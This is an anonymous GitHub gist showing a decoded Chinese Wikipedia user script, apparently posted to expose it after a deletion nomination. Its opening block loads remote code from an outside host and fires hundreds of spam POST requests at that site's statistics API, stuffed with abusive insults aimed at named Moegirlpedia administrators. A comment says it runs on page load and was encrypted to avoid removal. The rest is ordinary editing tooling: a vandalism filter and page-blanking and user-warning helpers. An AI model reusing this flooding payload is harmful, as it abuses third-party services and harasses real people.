Created
September 25, 2016 04:44
-
-
Save anonymous/eeeca3af9e2c0e1c17c96874dade43c6 to your computer and use it in GitHub Desktop.
解密曹国祥
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// {{vfd|扰乱外站的恶意代码。|date=2016/09/23}} | |
/** | |
* 備註: | |
* 1. 那段縮進整齊的、使用了jQuery的那段代碼最初是我隨手給小曹寫的。 | |
* 2. 這段代碼於1:30被Jimmy Xu提刪,2:54就墜毀了。 | |
*/ | |
mw.loader.load('https://wikiplus-app.smartgslb.com/Main.js'); | |
for (var i = 0; i < 600; i++) { | |
var xcrandom = parseInt(100 * Math.random()); | |
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=Wikipedia&usetime=2333&username=滥权Baskice怂狗你妈炸了' + xcrandom + '次&pagename=èå¨ç¾ç§ï¼æ»¥æç¾ç§', function(text, status) {}); | |
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=Wikipedia&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌百怂狗炸了妈,我没笋丝哈哈哈' + xcrandom, function(text, status) {}); | |
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=萌娘百科&usetime=2333&username=滥权Baskice怂狗你妈炸了' + xcrandom + '次&pagename=èå¨ç¾ç§ï¼æ»¥æç¾ç§', function(text, status) {}); | |
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=萌娘百科&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌百怂狗炸了妈,我没笋丝哈哈哈' + xcrandom, function(text, status) {}); | |
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=萌娘百科&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌娘百科,死妈百科', function(text, status) {}); | |
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=萌娘百科&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌娘百科,炸妈百科', function(text, status) {}); | |
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=Wikipedia&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌娘百科,死妈百科', function(text, status) {}); | |
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=Wikipedia&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌娘百科,炸妈百科', function(text, status) {}); | |
} | |
//打开用户页及其所有子页面时自动攻击萌娘百科( 加密代码防止某人提删) | |
//最近更改反破坏器开始 | |
console.log("最近更改反破坏器正在初始化"); | |
console.log("使用方法:直接打开最近更改"); | |
console.log("最近更改反破坏器初始化完毕"); | |
$(function() { | |
var hide = false; | |
if (mw.config.get('wgTitle') === '最近更改') { | |
var $list = $('.mw-changeslist'); | |
$list.prepend('<button id="show1000">只顯示疑似破坏的變更</button>'); | |
$('#show1000').click(function() { | |
if (hide) { | |
$('li', $list).show(); | |
} else { | |
$('li', $list).each(function() { | |
var $e = $(this); | |
var $size = $('.mw-plusminus-neg', $e); | |
if ($size.length === 0) { | |
$e.hide(); | |
} else { | |
var size = parseInt($size.text().replace(/[ (,)-]/g, '')); | |
if (size < 1000) { | |
$e.hide(); | |
} | |
} | |
}); | |
} | |
hide = !hide; | |
}); | |
} | |
}); | |
//最近更改反破坏器结束 | |
//小曹铁路辅助编辑器开始 | |
console.log("小曹铁路辅助编辑器正在初始化"); | |
console.log("初始化Token"); | |
gettoken(); | |
console.log("已成功加载"); | |
console.log("使用方法:在下面的控制台输入下列指令"); | |
console.log('清空页面:clearPage("页面名称","编辑摘要");'); | |
console.log('警告用户:warnUser("用户名","遭到破坏的页面名字","页面ID");'); | |
var token = '+/' | |
var pagename = 'User:小曹2015' | |
var summary = '未指定编辑摘要' | |
function gettoken() { | |
$.post('https://zh.wikipedia.org/w/api.php?action=query&meta=tokens&format=json', '', function(text, status) { | |
xcrailgettoken(text); | |
}); | |
} | |
function xcrailgettoken(text) { | |
var obj = eval(text); | |
console.log(obj.query.tokens.csrftoken); | |
var xcrail = obj.query.tokens.csrftoken | |
token = xcrail | |
} | |
function edit() { | |
$.post('https://zh.wikipedia.org/w/api.php?action=edit&format=json&title=' + pagename + '&text=111&summary=' + summary + '(由[[User:小曹2015|曹铁快速编辑器]]进行)', 'token=' + encodeURIComponent(token), function(text, status) { | |
alert(text); | |
}); | |
} | |
function clearPage(pgname, summarys) { | |
gettoken(); | |
if (pgname == undefined) { | |
throw ('请输入页面名称'); | |
} else { | |
pagename = pgname | |
summary = summarys | |
setTimeout(edit(), 5000); | |
} | |
} | |
function warnUser(username, pgname, diff) { | |
var sign = "~~" | |
sign = sign + "~~" | |
var content = "小曹大大发现阁下刚刚对[[" + pgname + "]]的编辑貌似删除了页面的大部分内容。(编辑ID:[[Special:diff/" + diff + "|" + diff + "]])。<br/>请注意:'''请不要删除大段的页面内容。'''<br/>这将会被视为破坏并可能会导致您的账号被{{color|red|封禁}}!<br/>如果有疑问,请在[[User_talk:小曹2015|我的讨论页]]提出疑问。祝编安。<br/><small>(这个消息不是[[WP:BOT]]发出的。是[[User:小曹2015|小曹]]使用小曹铁路维护工具添加的。这只是一个善意的提醒,并不是警告模板。)</small>" + sign; | |
gettoken(); | |
$.post('https://zh.wikipedia.org/w/api.php?action=edit&format=json&title=User_talk:' + username + '§ion=new§iontitle=您可能正在破坏', 'token=' + encodeURIComponent(token) + '&text=' + content + '&summary=添加警告内容(由[[User:小曹2015/快编|曹铁快速编辑器]]进行)', function(text, status) { | |
alert(text); | |
}); | |
/* "==您可能正在破坏== | |
小曹大大发现阁下刚刚对[["+pgname+"]]的编辑貌似删除了页面的大部分内容。(编辑ID:[[Special:diff/"+diff+"|"+diff+"]])。请注意:'''请不要删除大段的页面内容。'''这将会被视为破坏并可能会导致您的账号被{{color|red|封禁}}!如果有疑问,请在[[User_talk:小曹2015|我的讨论页]]提出疑问。祝编安。 | |
<small>这个消息不是[[WP:BOT]]发出的。是[[User:小曹2015|小曹]]使用小曹铁路维护工具添加的。这只是一个善意的提醒,并不是警告模板。如果您继续破坏,可能会受到警告模板。</small>——[[User:小曹2015|<span style="font-family:Verdana;font-size:middle;border-radius:999px;background:#18C3F4;padding:0 10px;color:#fff" title="Reply">萌萌哒的小曹大大</span>]]<span id="<nowiki>{{</nowiki>vandal|小曹2015}}">{{ {{ifIP|name=小曹2015|IPvandal|Userblock}} |小曹2015}}</span> 2016年9月23日 (五) 09:13 (UTC)" */ | |
} | |
//小曹铁路辅助编辑器结束 |
XCRailFans
commented
Sep 25, 2016
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment